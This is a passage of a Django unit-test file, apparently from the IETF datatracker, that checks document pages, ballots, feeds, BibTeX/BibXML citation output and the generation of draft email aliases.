self.assertIn(draft.authors()[1].name, affiliation_event.desc) self.assertIn(before[1]['affiliation'], affiliation_event.desc) self.assertIn(after[1]['affiliation'], affiliation_event.desc) self.assertIsNotNone(country_event) self.assertIn(draft.authors()[2].name, country_event.desc) self.assertIn(before[2]['country'], country_event.desc) self.assertIn(after[2]['country'], country_event.desc) @staticmethod def _pyquery_select_action_holder_string(q, s): """Helper to use PyQuery to find an action holder in the draft HTML""" # selector grabs the action holders heading and finds siblings with a div containing the search string (also in any title attribute) return q('th:contains("Action Holder") ~ td>div:contains("%s"), th:contains("Action Holder") ~ td>div *[title*="%s"]' % (s, s)) @mock.patch.object(Document, 'action_holders_enabled', return_value=False, new_callable=mock.PropertyMock) def test_document_draft_hides_action_holders(self, mock_method): """Draft should not show action holders when appropriate""" draft = WgDraftFactory() url = urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) r = self.client.get(url) self.assertNotContains(r, 'Action Holder') # should not show action holders... draft.action_holders.set([PersonFactory()]) r = self.client.get(url) self.assertNotContains(r, 'Action Holder') # ...even if they are assigned @mock.patch.object(Document, 'action_holders_enabled', return_value=True, new_callable=mock.PropertyMock) def test_document_draft_shows_action_holders(self, mock_method): """Draft should show action holders when appropriate""" draft = WgDraftFactory() url = urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) # No action holders case should be shown properly r = self.client.get(url) self.assertContains(r, 'Action Holder') # should show action holders q = PyQuery(r.content) self.assertEqual(len(self._pyquery_select_action_holder_string(q, '(None)')), 1) # Action holders should be listed when assigned draft.action_holders.set(PersonFactory.create_batch(3)) # Make one action holder "old" old_action_holder = draft.documentactionholder_set.first() old_action_holder.time_added -= datetime.timedelta(days=30) old_action_holder.save() with self.settings(DOC_ACTION_HOLDER_AGE_LIMIT_DAYS=20): r = self.client.get(url) self.assertContains(r, 'Action Holder') # should still be shown q = PyQuery(r.content) self.assertEqual(len(self._pyquery_select_action_holder_string(q, '(None)')), 0) for person in draft.action_holders.all(): self.assertEqual(len(self._pyquery_select_action_holder_string(q, person.name)), 1) # check that one action holder was marked as old self.assertEqual(len(self._pyquery_select_action_holder_string(q, 'for 30 days')), 1) @mock.patch.object(Document, 'action_holders_enabled', return_value=True, new_callable=mock.PropertyMock) def test_document_draft_action_holders_buttons(self, mock_method): """Buttons for action holders should be shown when AD or secretary""" draft = WgDraftFactory() draft.action_holders.set([PersonFactory()]) url = urlreverse('ietf.doc.views_doc.document_main', kwargs=dict(name=draft.name)) edit_ah_url = urlreverse('ietf.doc.views_doc.edit_action_holders', kwargs=dict(name=draft.name)) remind_ah_url = urlreverse('ietf.doc.views_doc.remind_action_holders', kwargs=dict(name=draft.name)) def _run_test(username=None, expect_buttons=False): if username: self.client.login(username=username, password=username + '+password') r = self.client.get(url) q = PyQuery(r.content) self.assertEqual( len(q('th:contains("Action Holder") ~ td a[href="%s"]' % edit_ah_url)), 1 if expect_buttons else 0, '%s should%s see the edit action holders button but %s' % ( username if username else 'unauthenticated user', '' if expect_buttons else ' not', 'did not' if expect_buttons else 'did', ) ) self.assertEqual( len(q('th:contains("Action Holder") ~ td a[href="%s"]' % remind_ah_url)), 1 if expect_buttons else 0, '%s should%s see the remind action holders button but %s' % ( username if username else 'unauthenticated user', '' if expect_buttons else ' not', 'did not' if expect_buttons else 'did', ) ) _run_test(None, False) _run_test('plain', False) _run_test('ad', True) _run_test('secretary', True) def test_draft_group_link(self): """Link to group 'about' page should have correct format""" for group_type_id in ['wg', 'rg', 'ag']: group = GroupFactory(type_id=group_type_id) draft = WgDraftFactory(name='draft-document-%s' % group_type_id, group=group) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assert_correct_wg_group_link(r, group) rfc = WgRfcFactory(name='draft-rfc-document-%s' % group_type_id, group=group) DocEventFactory.create(doc=rfc, type='published_rfc', time = '2010-10-10') # get the rfc name to avoid a redirect rfc_name = rfc.docalias.filter(name__startswith='rfc').first().name r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=rfc_name))) self.assertEqual(r.status_code, 200) self.assert_correct_wg_group_link(r, group) for group_type_id in ['ietf', 'team']: group = GroupFactory(type_id=group_type_id) draft = WgDraftFactory(name='draft-document-%s' % group_type_id, group=group) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assert_correct_non_wg_group_link(r, group) rfc = WgRfcFactory(name='draft-rfc-document-%s' % group_type_id, group=group) DocEventFactory.create(doc=rfc, type='published_rfc', time = '2010-10-10') # get the rfc name to avoid a redirect rfc_name = rfc.docalias.filter(name__startswith='rfc').first().name r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=rfc_name))) self.assertEqual(r.status_code, 200) self.assert_correct_non_wg_group_link(r, group) def test_document_primary_and_history_views(self): IndividualDraftFactory(name='draft-imaginary-independent-submission') ConflictReviewFactory(name='conflict-review-imaginary-irtf-submission') CharterFactory(name='charter-ietf-mars') DocumentFactory(type_id='agenda',name='agenda-72-mars') DocumentFactory(type_id='minutes',name='minutes-72-mars') DocumentFactory(type_id='slides',name='slides-72-mars-1-active') statchg = DocumentFactory(type_id='statchg',name='status-change-imaginary-mid-review') statchg.set_state(State.objects.get(type_id='statchg',slug='adrev')) # Ensure primary views of both current and historic versions of documents works for docname in ["draft-imaginary-independent-submission", "conflict-review-imaginary-irtf-submission", "status-change-imaginary-mid-review", "charter-ietf-mars", "agenda-72-mars", "minutes-72-mars", "slides-72-mars-1-active", # TODO: add #"bluesheets-72-mars-1", #"recording-72-mars-1-00", ]: doc = Document.objects.get(name=docname) # give it some history doc.save_with_history([DocEvent.objects.create(doc=doc, rev=doc.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) doc.rev = "01" doc.save_with_history([DocEvent.objects.create(doc=doc, rev=doc.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) # Fetch the main page resulting latest version r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "%s-01"%docname) # Fetch 01 version even when it is last version r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name,rev="01"))) self.assertEqual(r.status_code, 200) self.assertContains(r, "%s-01"%docname) # Fetch version number which is too large, that should redirect to main page r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name,rev="02"))) self.assertEqual(r.status_code, 302) # Fetch 00 version which should result that version r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name,rev="00"))) self.assertEqual(r.status_code, 200) self.assertContains(r, "%s-00"%docname) def test_rfcqueue_auth48_views(self): """Test view handling of RFC editor queue auth48 state""" def _change_state(doc, state): event = StateDocEventFactory(doc=doc, state=state) doc.set_state(event.state) doc.save_with_history([event]) draft = IndividualDraftFactory() # Put in an rfceditor state other than auth48 for state in [('draft-iesg', 'rfcqueue'), ('draft-rfceditor', 'rfc-edit')]: _change_state(draft, state) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, 'Auth48 status') # Put in auth48 state without a URL _change_state(draft, ('draft-rfceditor', 'auth48')) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, 'Auth48 status') # Now add a URL documenturl = draft.documenturl_set.create(tag_id='auth48', url='http://rfceditor.example.com/auth48-url') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, 'Auth48 status') self.assertContains(r, documenturl.url) # Put in auth48-done state and delete auth48 DocumentURL draft.documenturl_set.filter(tag_id='auth48').delete() _change_state(draft, ('draft-rfceditor', 'auth48-done')) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, 'Auth48 status') class DocTestCase(TestCase): def test_status_change(self): statchg = StatusChangeFactory() r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=statchg.name))) self.assertEqual(r.status_code, 200) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=statchg.relateddocument_set.first().target.document))) self.assertEqual(r.status_code, 302) def test_document_charter(self): CharterFactory(name='charter-ietf-mars') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name="charter-ietf-mars"))) self.assertEqual(r.status_code, 200) def test_document_conflict_review(self): ConflictReviewFactory(name='conflict-review-imaginary-irtf-submission') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name='conflict-review-imaginary-irtf-submission'))) self.assertEqual(r.status_code, 200) def test_document_material(self): MeetingFactory(type_id='ietf',number='72') mars = GroupFactory(type_id='wg',acronym='mars') marschairman = PersonFactory(user__username='marschairman') mars.role_set.create(name_id='chair',person=marschairman,email=marschairman.email()) doc = DocumentFactory( name="slides-testteam-test-slides", rev="00", title="Test Slides", group__acronym='testteam', type_id="slides" ) doc.set_state(State.objects.get(type="slides", slug="active")) session = SessionFactory( name = "session-72-mars-1", meeting = Meeting.objects.get(number='72'), group = Group.objects.get(acronym='mars'), modified = datetime.datetime.now(), add_to_schedule=False, ) SchedulingEvent.objects.create( session=session, status=SessionStatusName.objects.create(slug='scheduled'), by = Person.objects.get(user__username="marschairman"), ) SessionPresentation.objects.create(session=session, document=doc, rev=doc.rev) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) def test_document_ballot(self): doc = IndividualDraftFactory() ad = Person.objects.get(user__username="ad") ballot = create_ballot_if_not_open(None, doc, ad, 'approve') assert ballot == doc.active_ballot() # make sure we have some history doc.save_with_history([DocEvent.objects.create(doc=doc, rev=doc.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) pos = BallotPositionDocEvent.objects.create( doc=doc, rev=doc.rev, ballot=ballot, type="changed_ballot_position", pos_id="yes", comment="Looks fine to me", comment_time=datetime.datetime.now(), balloter=Person.objects.get(user__username="ad"), by=Person.objects.get(name="(System)")) r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, pos.comment) # test with ballot_id r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name, ballot_id=ballot.pk))) self.assertEqual(r.status_code, 200) self.assertContains(r, pos.comment) # test popup too while we're at it r = self.client.get(urlreverse("ietf.doc.views_doc.ballot_popup", kwargs=dict(name=doc.name, ballot_id=ballot.pk))) self.assertEqual(r.status_code, 200) # Now simulate a new revision and make sure positions on older revisions are marked as such oldrev = doc.rev e = NewRevisionDocEvent.objects.create(doc=doc,rev='%02d'%(int(doc.rev)+1),type='new_revision',by=Person.objects.get(name="(System)")) doc.rev = e.rev doc.save_with_history([e]) r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertRegex(r.content.decode(), r'\(\s*%s\s+for\s+-%s\s*\)' % (pos.comment_time.strftime('%Y-%m-%d'), oldrev)) # Now simulate a new ballot against the new revision and make sure the "was" position is included pos2 = BallotPositionDocEvent.objects.create( doc=doc, rev=doc.rev, ballot=ballot, type="changed_ballot_position", pos_id="noobj", comment="Still looks okay to me", comment_time=datetime.datetime.now(), balloter=Person.objects.get(user__username="ad"), by=Person.objects.get(name="(System)")) r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, pos2.comment) self.assertContains(r, '(was %s)' % pos.pos) def test_document_ballot_popup_unique_anchors_per_doc(self): """Ballot popup anchors should be different for each document""" ad = Person.objects.get(user__username="ad") docs = IndividualDraftFactory.create_batch(2) ballots = [create_ballot_if_not_open(None, doc, ad, 'approve') for doc in docs] for doc, ballot in zip(docs, ballots): BallotPositionDocEvent.objects.create( doc=doc, rev=doc.rev, ballot=ballot, type="changed_ballot_position", pos_id="yes", comment="Looks fine to me", comment_time=datetime.datetime.now(), balloter=Person.objects.get(user__username="ad"), by=Person.objects.get(name="(System)")) anchors = set() author_slug = slugify(ad.plain_name()) for doc, ballot in zip(docs, ballots): r = self.client.get(urlreverse( "ietf.doc.views_doc.ballot_popup", kwargs=dict(name=doc.name, ballot_id=ballot.pk) )) self.assertEqual(r.status_code, 200) q = PyQuery(r.content) href = q(f'div.balloter-name a[href$="{author_slug}"]').attr('href') ids = [ target.attr('id') for target in q(f'p.h5[id$="{author_slug}"]').items() ] self.assertEqual(len(ids), 1, 'Should be exactly one link for the balloter') self.assertEqual(href, f'#{ids[0]}', 'Anchor href should match ID') anchors.add(href) self.assertEqual(len(anchors), len(docs), 'Each doc should have a distinct anchor for the balloter') def test_document_ballot_needed_positions(self): # draft doc = IndividualDraftFactory(intended_std_level_id='ps') doc.set_state(State.objects.get(type_id='draft-iesg',slug='iesg-eva')) ad = Person.objects.get(user__username="ad") create_ballot_if_not_open(None, doc, ad, 'approve') r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertContains(r, 'more YES or NO') Document.objects.filter(pk=doc.pk).update(intended_std_level='inf') r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertNotContains(r, 'more YES or NO') # status change DocAlias.objects.create(name='rfc9998').docs.add(IndividualDraftFactory()) DocAlias.objects.create(name='rfc9999').docs.add(IndividualDraftFactory()) doc = DocumentFactory(type_id='statchg',name='status-change-imaginary-mid-review') iesgeval_pk = str(State.objects.get(slug='iesgeval',type__slug='statchg').pk) self.client.login(username='ad', password='ad+password') r = self.client.post(urlreverse('ietf.doc.views_status_change.change_state',kwargs=dict(name=doc.name)),dict(new_state=iesgeval_pk)) self.assertEqual(r.status_code, 302) r = self.client.get(r._headers["location"][1]) self.assertContains(r, ">IESG Evaluation<") doc.relateddocument_set.create(target=DocAlias.objects.get(name='rfc9998'),relationship_id='tohist') r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertNotContains(r, 'Needs a YES') self.assertNotContains(r, 'more YES or NO') doc.relateddocument_set.create(target=DocAlias.objects.get(name='rfc9999'),relationship_id='tois') r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertContains(r, 'more YES or NO') def test_document_json(self): doc = IndividualDraftFactory() r = self.client.get(urlreverse("ietf.doc.views_doc.document_json", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) data = r.json() self.assertEqual(doc.name, data['name']) self.assertEqual(doc.pages,data['pages']) def test_writeup(self): doc = IndividualDraftFactory(states = [('draft','active'),('draft-iesg','iesg-eva')],) appr = WriteupDocEvent.objects.create( doc=doc, rev=doc.rev, desc="Changed text", type="changed_ballot_approval_text", text="This is ballot approval text.", by=Person.objects.get(name="(System)")) notes = WriteupDocEvent.objects.create( doc=doc, rev=doc.rev, desc="Changed text", type="changed_ballot_writeup_text", text="This is ballot writeup notes.", by=Person.objects.get(name="(System)")) rfced_note = WriteupDocEvent.objects.create( doc=doc, rev=doc.rev, desc="Changed text", type="changed_rfc_editor_note_text", text="This is a note for the RFC Editor.", by=Person.objects.get(name="(System)")) url = urlreverse('ietf.doc.views_doc.document_writeup', kwargs=dict(name=doc.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, appr.text) self.assertContains(r, notes.text) self.assertContains(r, rfced_note.text) def test_history(self): doc = IndividualDraftFactory() e = DocEvent.objects.create( doc=doc, rev=doc.rev, desc="Something happened.", type="added_comment", by=Person.objects.get(name="(System)")) url = urlreverse('ietf.doc.views_doc.document_history', kwargs=dict(name=doc.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, e.desc) def test_history_bis_00(self): rfcname='rfc9090' rfc = WgRfcFactory(alias2=rfcname) bis_draft = WgDraftFactory(name='draft-ietf-{}-{}bis'.format(rfc.group.acronym,rfcname)) url = urlreverse('ietf.doc.views_doc.document_history', kwargs=dict(name=bis_draft.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) q = PyQuery(unicontent(r)) attr1='value="{}"'.format(rfcname) self.assertEqual(len(q('option['+attr1+'][selected="selected"]')), 1) def test_document_feed(self): doc = IndividualDraftFactory() e = DocEvent.objects.create( doc=doc, rev=doc.rev, desc="Something happened.", type="added_comment", by=Person.objects.get(name="(System)")) r = self.client.get("/feed/document-changes/%s/" % doc.name) self.assertEqual(r.status_code, 200) self.assertContains(r, e.desc) def test_document_feed_with_control_character(self): doc = IndividualDraftFactory() DocEvent.objects.create( doc=doc, rev=doc.rev, desc="Something happened involving the \x0b character.", type="added_comment", by=Person.objects.get(name="(System)")) r = self.client.get("/feed/document-changes/%s/" % doc.name) self.assertEqual(r.status_code, 200) self.assertContains(r, 'Something happened involving the') def test_last_call_feed(self): doc = IndividualDraftFactory() doc.set_state(State.objects.get(type="draft-iesg", slug="lc")) LastCallDocEvent.objects.create( doc=doc, rev=doc.rev, desc="Last call\x0b", # include a control character to be sure it does not break anything type="sent_last_call", by=Person.objects.get(user__username="secretary"), expires=datetime.date.today() + datetime.timedelta(days=7)) r = self.client.get("/feed/last-call/") self.assertEqual(r.status_code, 200) self.assertContains(r, doc.name) def test_rfc_feed(self): WgRfcFactory() r = self.client.get("/feed/rfc/") self.assertTrue(r.status_code, 200) r = self.client.get("/feed/rfc/2016") self.assertTrue(r.status_code, 200) def test_state_help(self): url = urlreverse('ietf.doc.views_help.state_help', kwargs=dict(type="draft-iesg")) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, State.objects.get(type="draft-iesg", slug="lc").name) def test_document_nonietf_pubreq_button(self): doc = IndividualDraftFactory() self.client.login(username='iab-chair', password='iab-chair+password') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, "Request publication") Document.objects.filter(pk=doc.pk).update(stream='iab') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Request publication") doc.states.add(State.objects.get(type_id='draft-stream-iab',slug='rfc-edit')) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, "Request publication") def _parse_bibtex_response(self, response) -> dict: parser = bibtexparser.bparser.BibTexParser() parser.homogenise_fields = False # do not modify field names (e.g., turns "url" into "link" by default) return bibtexparser.loads(response.content.decode(), parser=parser).get_entry_dict() @override_settings(RFC_EDITOR_INFO_BASE_URL='https://www.rfc-editor.ietf.org/info/') def test_document_bibtex(self): rfc = WgRfcFactory.create( #other_aliases = ['rfc6020',], states = [('draft','rfc'),('draft-iesg','pub')], std_level_id = 'ps', time = datetime.datetime(2010,10,10), ) num = rfc.rfc_number() DocEventFactory.create(doc=rfc, type='published_rfc', time = '2010-10-10') # url = urlreverse('ietf.doc.views_doc.document_bibtex', kwargs=dict(name=rfc.name)) r = self.client.get(url) entry = self._parse_bibtex_response(r)["rfc%s"%num] self.assertEqual(entry['series'], 'Request for Comments') self.assertEqual(entry['number'], num) self.assertEqual(entry['doi'], '10.17487/RFC%s'%num) self.assertEqual(entry['year'], '2010') self.assertEqual(entry['month'], 'oct') self.assertEqual(entry['url'], f'https://www.rfc-editor.ietf.org/info/rfc{num}') # self.assertNotIn('day', entry) april1 = IndividualRfcFactory.create( stream_id = 'ise', states = [('draft','rfc'),('draft-iesg','pub')], std_level_id = 'inf', time = datetime.datetime(1990,0o4,0o1), ) num = april1.rfc_number() DocEventFactory.create(doc=april1, type='published_rfc', time = '1990-04-01') # url = urlreverse('ietf.doc.views_doc.document_bibtex', kwargs=dict(name=april1.name)) r = self.client.get(url) self.assertEqual(r.get('Content-Type'), 'text/plain; charset=utf-8') entry = self._parse_bibtex_response(r)["rfc%s"%num] self.assertEqual(entry['series'], 'Request for Comments') self.assertEqual(entry['number'], num) self.assertEqual(entry['doi'], '10.17487/RFC%s'%num) self.assertEqual(entry['year'], '1990') self.assertEqual(entry['month'], 'apr') self.assertEqual(entry['day'], '1') self.assertEqual(entry['url'], f'https://www.rfc-editor.ietf.org/info/rfc{num}') draft = IndividualDraftFactory.create() docname = '%s-%s' % (draft.name, draft.rev) bibname = docname[6:] # drop the 'draft-' prefix url = urlreverse('ietf.doc.views_doc.document_bibtex', kwargs=dict(name=draft.name)) r = self.client.get(url) entry = self._parse_bibtex_response(r)[bibname] self.assertEqual(entry['note'], 'Work in Progress') self.assertEqual(entry['number'], docname) self.assertEqual(entry['year'], str(draft.pub_date().year)) self.assertEqual(entry['month'], draft.pub_date().strftime('%b').lower()) self.assertEqual(entry['day'], str(draft.pub_date().day)) self.assertEqual(entry['url'], f'https://datatracker.ietf.org/doc/html/{docname}') # self.assertNotIn('doi', entry) def test_document_bibxml(self): draft = IndividualDraftFactory.create() docname = '%s-%s' % (draft.name, draft.rev) for viewname in [ 'ietf.doc.views_doc.document_bibxml', 'ietf.doc.views_doc.document_bibxml_ref' ]: url = urlreverse(viewname, kwargs=dict(name=draft.name)) r = self.client.get(url) entry = lxml.etree.fromstring(r.content) self.assertEqual(entry.find('./front/title').text, draft.title) date = entry.find('./front/date') self.assertEqual(date.get('year'), str(draft.pub_date().year)) self.assertEqual(date.get('month'), draft.pub_date().strftime('%B')) self.assertEqual(date.get('day'), str(draft.pub_date().day)) self.assertEqual(normalize_text(entry.find('./front/abstract/t').text), normalize_text(draft.abstract)) self.assertEqual(entry.find('./seriesInfo').get('value'), docname) self.assertEqual(entry.find('./seriesInfo[@name="DOI"]'), None) def test_trailing_hypen_digit_name_bibxml(self): draft = WgDraftFactory(name='draft-ietf-mars-test-2') docname = '%s-%s' % (draft.name, draft.rev) for viewname in [ 'ietf.doc.views_doc.document_bibxml', 'ietf.doc.views_doc.document_bibxml_ref' ]: # This will need to be adjusted if settings.URL_REGEXPS is changed url = urlreverse(viewname, kwargs=dict(name=draft.name[:-2], rev=draft.name[-1:]+'-'+draft.rev)) r = self.client.get(url) entry = lxml.etree.fromstring(r.content) self.assertEqual(entry.find('./front/title').text, draft.title) self.assertEqual(entry.find('./seriesInfo').get('value'), docname) class AddCommentTestCase(TestCase): def test_add_comment(self): draft = WgDraftFactory(name='draft-ietf-mars-test',group__acronym='mars') url = urlreverse('ietf.doc.views_doc.add_comment', kwargs=dict(name=draft.name)) login_testing_unauthorized(self, "secretary", url) # normal get r = self.client.get(url) self.assertEqual(r.status_code, 200) q = PyQuery(unicontent(r)) self.assertEqual(len(q('form textarea[name=comment]')), 1) # request resurrect events_before = draft.docevent_set.count() mailbox_before = len(outbox) r = self.client.post(url, dict(comment="This is a test.")) self.assertEqual(r.status_code, 302) self.assertEqual(draft.docevent_set.count(), events_before + 1) self.assertEqual("This is a test.", draft.latest_event().desc) self.assertEqual("added_comment", draft.latest_event().type) self.assertEqual(len(outbox), mailbox_before + 1) self.assertIn("Comment added", outbox[-1]['Subject']) self.assertIn(draft.name, outbox[-1]['Subject']) self.assertIn('draft-ietf-mars-test@', outbox[-1]['To']) # Make sure we can also do it as IANA self.client.login(username="iana", password="iana+password") # normal get r = self.client.get(url) self.assertEqual(r.status_code, 200) q = PyQuery(unicontent(r)) self.assertEqual(len(q('form textarea[name=comment]')), 1) class TemplateTagTest(TestCase): def test_template_tags(self): import doctest from ietf.doc.templatetags import ietf_filters failures, tests = doctest.testmod(ietf_filters) self.assertEqual(failures, 0) class ReferencesTest(TestCase): def test_references(self): doc1 = WgDraftFactory(name='draft-ietf-mars-test') doc2 = IndividualDraftFactory(name='draft-imaginary-independent-submission').docalias.first() RelatedDocument.objects.get_or_create(source=doc1,target=doc2,relationship=DocRelationshipName.objects.get(slug='refnorm')) url = urlreverse('ietf.doc.views_doc.document_references', kwargs=dict(name=doc1.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, doc2.name) url = urlreverse('ietf.doc.views_doc.document_referenced_by', kwargs=dict(name=doc2.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, doc1.name) class GenerateDraftAliasesTests(TestCase): def setUp(self): super().setUp() self.doc_aliases_file = NamedTemporaryFile(delete=False, mode='w+') self.doc_aliases_file.close() self.doc_virtual_file = NamedTemporaryFile(delete=False, mode='w+') self.doc_virtual_file.close() self.saved_draft_aliases_path = settings.DRAFT_ALIASES_PATH self.saved_draft_virtual_path = settings.DRAFT_VIRTUAL_PATH settings.DRAFT_ALIASES_PATH = self.doc_aliases_file.name settings.DRAFT_VIRTUAL_PATH = self.doc_virtual_file.name def tearDown(self): settings.DRAFT_ALIASES_PATH = self.saved_draft_aliases_path settings.DRAFT_VIRTUAL_PATH = self.saved_draft_virtual_path os.unlink(self.doc_aliases_file.name) os.unlink(self.doc_virtual_file.name) super().tearDown() def testManagementCommand(self): a_month_ago = datetime.datetime.now() - datetime.timedelta(30) ad = RoleFactory(name_id='ad', group__type_id='area', group__state_id='active').person shepherd = PersonFactory() author1 = PersonFactory() author2 = PersonFactory() author3 = PersonFactory() author4 = PersonFactory() author5 = PersonFactory() author6 = PersonFactory() mars = GroupFactory(type_id='wg', acronym='mars') marschairman = PersonFactory(user__username='marschairman') mars.role_set.create(name_id='chair', person=marschairman, email=marschairman.email()) doc1 = IndividualDraftFactory(authors=[author1], shepherd=shepherd.email(), ad=ad) doc2 = WgDraftFactory(name='draft-ietf-mars-test', group__acronym='mars', authors=[author2], ad=ad) doc3 = WgRfcFactory.create(name='draft-ietf-mars-finished', group__acronym='mars', authors=[author3], ad=ad, std_level_id='ps', states=[('draft','rfc'),('draft-iesg','pub')], time=a_month_ago) DocEventFactory.create(doc=doc3, type='published_rfc', time=a_month_ago.strftime("%Y-%m-%d")) doc4 = WgRfcFactory.create(authors=[author4,author5], ad=ad, std_level_id='ps', states=[('draft','rfc'),('draft-iesg','pub')], time=datetime.datetime(2010,10,10)) DocEventFactory.create(doc=doc4, type='published_rfc', time = '2010-10-10') doc5 = IndividualDraftFactory(authors=[author6]) args = [ ] kwargs = { } out = io.StringIO() call_command("generate_draft_aliases", *args, **kwargs, stdout=out, stderr=out) self.assertFalse(out.getvalue()) with open(settings.DRAFT_ALIASES_PATH) as afile: acontent = afile.read() self.assertTrue(all([x in acontent for x in [ 'xfilter-' + doc1.name, 'xfilter-' + doc1.name + '.ad', 'xfilter-' + doc1.name + '.authors', 'xfilter-' + doc1.name + '.shepherd', 'xfilter-' + doc1.name + '.all', 'xfilter-' + doc2.name, 'xfilter-' + doc2.name + '.ad', 'xfilter-' + doc2.name + '.authors', 'xfilter-' + doc2.name + '.chairs', 'xfilter-' + doc2.name + '.all', 'xfilter-' + doc3.name, 'xfilter-' + doc3.name + '.ad', 'xfilter-' + doc3.name + '.authors', 'xfilter-' + doc3.name + '.chairs', 'xfilter-' + doc5.name, 'xfilter-' + doc5.name + '.authors', 'xfilter-' + doc5.name + '.all', ]])) self.assertFalse(all([x in acontent for x in [ 'xfilter-' + doc1.name + '.chairs', 'xfilter-' + doc2.name + '.shepherd', 'xfilter-' + doc3.name + '.shepherd', 'xfilter-' + doc4.name, 'xfilter-' + doc5.name + '.shepherd', 'xfilter-' + doc5.name + '.ad', ]])) with open(settings.DRAFT_VIRTUAL_PATH) as vfile: vcontent = vfile.read() self.assertTrue(all([x in vcontent for x in [ ad.email_address(), shepherd.email_address(), marschairman.email_address(), author1.email_address(), author2.email_address(), author3.email_address(), author6.email_address(), ]])) self.assertFalse(all([x in vcontent for x in [ author4.email_address(), author5.email_address(), ]])) self.assertTrue(all([x in vcontent for x in [ 'xfilter-' + doc1.name, 'xfilter-' + doc1.name + '.ad', 'xfilter-' + doc1.name + '.authors', 'xfilter-' + doc1.name + '.shepherd', 'xfilter-' + doc1.name + '.all', 'xfilter-' + doc2.name, 'xfilter-' + doc2.name + '.ad', 'xfilter-' + doc2.name + '.authors', 'xfilter-' + doc2.name + '.chairs', 'xfilter-' + doc2.name + '.all', 'xfilter-' + doc3.name, 'xfilter-' + doc3.name + '.ad', 'xfilter-' + doc3.name + '.authors', 'xfilter-' + doc3.name + '.chairs', 'xfilter-' + doc5.name, 'xfilter-' + doc5.name + '.authors', 'xfilter-' + doc5.name + '.all', ]])) self.assertFalse(all([x in vcontent for x in [ 'xfilter-' + doc1.name + '.chairs', 'xfilter-' + doc2.name + '.shepherd', 'xfilter-' + doc3.name + '.shepherd', 'xfilter-' + doc4.name, 'xfilter-' + doc5.name + '.shepherd', 'xfilter-' + doc5.name + '.ad', ]])) class EmailAliasesTests(TestCase): def setUp(self): super().setUp() WgDraftFactory(name='draft-ietf-mars-test',group__acronym='mars') WgDraftFactory(name='draft-ietf-ames-test',group__acronym='ames') RoleFactory(group__type_id='review', group__acronym='yangdoctors', name_id='secr') self.doc_alias_file = NamedTemporaryFile(delete=False, mode='w+') self.doc_alias_file.write("""# Generated by hand at 2015-02-12_16:26:45 virtual.ietf.org anything draft-ietf-mars-test@ietf.org xfilter-draft-ietf-mars-test expand-draft-ietf-mars-test@virtual.ietf.org mars-author@example.com, mars-collaborator@example.com draft-ietf-mars-test.authors@ietf.org xfilter-draft-ietf-mars-test.authors expand-draft-ietf-mars-test.authors@virtual.ietf.org mars-author@example.mars, mars-collaborator@example.mars 